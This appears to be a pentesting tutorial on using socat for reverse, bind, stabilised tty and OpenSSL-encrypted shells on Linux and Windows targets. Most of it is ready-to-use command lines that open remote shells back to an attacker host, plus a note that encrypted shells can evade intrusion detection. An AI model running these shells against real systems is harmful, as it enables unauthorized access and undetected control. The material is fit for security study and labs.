Socat

Introduction

Socat is like netcat on steroids. It can do all of the same things, and many more. Socat shells are usually more stable than netcat shells out of the box. In this sense it is vastly superior to netcat; however, there are two big catches:

  1. The syntax is more difficult

  2. Netcat is installed on virtually every Linux distribution by default. Socat is very rarely installed by default.

The easiest way to think about socat is as a connector between two points, it can be a listening port and the keyboard, however, it could also be a listening port and a file, or indeed, two listening ports. All socat does is provide a link between two points


Reverse Shells

Here's the syntax for a basic reverse shell listener in socat: socat TCP-L:<port> -

As always with socat, this is taking two points (a listening port, and standard input) and connecting them together. The resulting shell is unstable, but this will work on either Linux or Windows and is equivalent to nc -lvnp <port>.

On Windows we would use this command to connect back: socat TCP:<LOCAL-IP>:<LOCAL-PORT> EXEC:powershell.exe,pipes

The "pipes" option is used to force powershell (or cmd.exe) to use Unix style standard input and output. This is the equivalent command for a Linux Target: socat TCP:<LOCAL-IP>:<LOCAL-PORT> EXEC:"bash -li"


Bind Shells

On a Linux target we would use the following command: socat TCP-L:<PORT> EXEC:"bash -li"

On a Windows target we would use this command for our listener: socat TCP-L:<PORT> EXEC:powershell.exe,pipes

We use the "pipes" argument to interface between the Unix and Windows ways of handling input and output in a CLI environment.

Regardless of the target, we use this command on our attacking machine to connect to the waiting listener. socat TCP:<TARGET-IP>:<TARGET-PORT> -


Fully Stable Linux tty Reverse Shell

This will only work when the target is Linux, but is significantly more stable. As mentioned earlier, socat is an incredibly versatile tool; however, the following technique is perhaps one of its most useful applications. Here is the new listener syntax:

socat TCP-L:<port> FILE:`tty`,raw,echo=0

Let's break this command down into its two parts.

  1. As usual, we're connecting two points together. In this case those points are a listening port, and a file.

  2. Specifically, we are allocating a new tty, and setting the echo to be zero. This is approximately equivalent to using the Ctrl + Z, stty raw -echo; fg trick with a netcat shell -- with the added bonus of being immediately stable and allocating a full tty.

The first listener can be connected to with any payload; however, this special listener must be activated with a very specific socat command. This means that the target must have socat installed. Most machines do not have socat installed by default, however, it's possible to upload a precompiled socat binary, which can then be executed as normal.

The special command is as follows: socat TCP:<attacker-ip>:<attacker-port> EXEC:"bash -li",pty,stderr,sigint,setsid,sane

Let's break it down.

  • The first part is easy -- we're linking up with the listener running on our own machine.

  • The second part of the command creates an interactive bash session with EXEC:"bash -li". We're also passing the arguments: pty, stderr, sigint, setsid and sane:

    • pty, allocates a pseudoterminal on the target -- part of the stabilisation process

    • stderr, makes sure that any error messages get shown in the shell (often a problem with non-interactive shells)

    • sigint, passes any Ctrl + C commands through into the sub-process, allowing us to kill commands inside the shell

    • setsid, creates the process in a new session

    • sane, stabilises the terminal, attempting to "normalise" it.

If, at any point, a socat shell is not working correctly, it's well worth increasing the verbosity by adding -d -d into the command. This is very useful for experimental purposes, but is not usually necessary for general use.


Encrypted Shells

One of the many great things about socat is that it's capable of creating encrypted shells -- both bind and reverse. Encrypted shells cannot be spied on unless you have the decryption key, and are often able to bypass an IDS as a result.

  1. We first need to generate a certificate in order to use encrypted shells. This is easiest to do on our attacking machine:

    • openssl req --newkey rsa:2048 -nodes -keyout shell.key -x509 -days 362 -out shell.crt

    • This command creates a 2048 bit RSA key with matching cert file, self-signed, and valid for just under a year. When you run this command it will ask you to fill in information about the certificate. This can be left blank, or filled randomly.

  2. We then need to merge the two created files into a single .pem file:

    • cat shell.key shell.crt > shell.pem

Reverse Shell

  1. Now, when we set up our reverse shell listener, we use:

    • socat OPENSSL-LISTEN:<PORT>,cert=shell.pem,verify=0 -

    • This sets up an OPENSSL listener using our generated certificate. verify=0 tells the connection to not bother trying to validate that our certificate has been properly signed by a recognised authority. Please note that the certificate must be used on whichever device is listening.

  2. To connect back, we would use:

    • socat OPENSSL:<LOCAL-IP>:<LOCAL-PORT>,verify=0 EXEC:/bin/bash

Bind Shell

  1. . For Bind Shell, On Target:

    • socat OPENSSL-LISTEN:<PORT>,cert=shell.pem,verify=0 EXEC:cmd.exe,pipes

  2. Attacker:

    • socat OPENSSL:<TARGET-IP>:<TARGET-PORT>,verify=0 -

Again, note that even for a Windows target, the certificate must be used with the listener, so copying the PEM file across for a bind shell is required

This technique will also work with the special, Linux-only TTY shell covered before.

  1. Listener

socat OPENSSL-LISTEN:<port>,cert=encrypt.pem,verify=0 FILE:`tty`,raw,echo=0
  1. Connecter

socat OPENSSL:<ip>:<port>,verify=0 EXEC:"bash -li",pty,stderr,sigint,setsid,sane

Last updated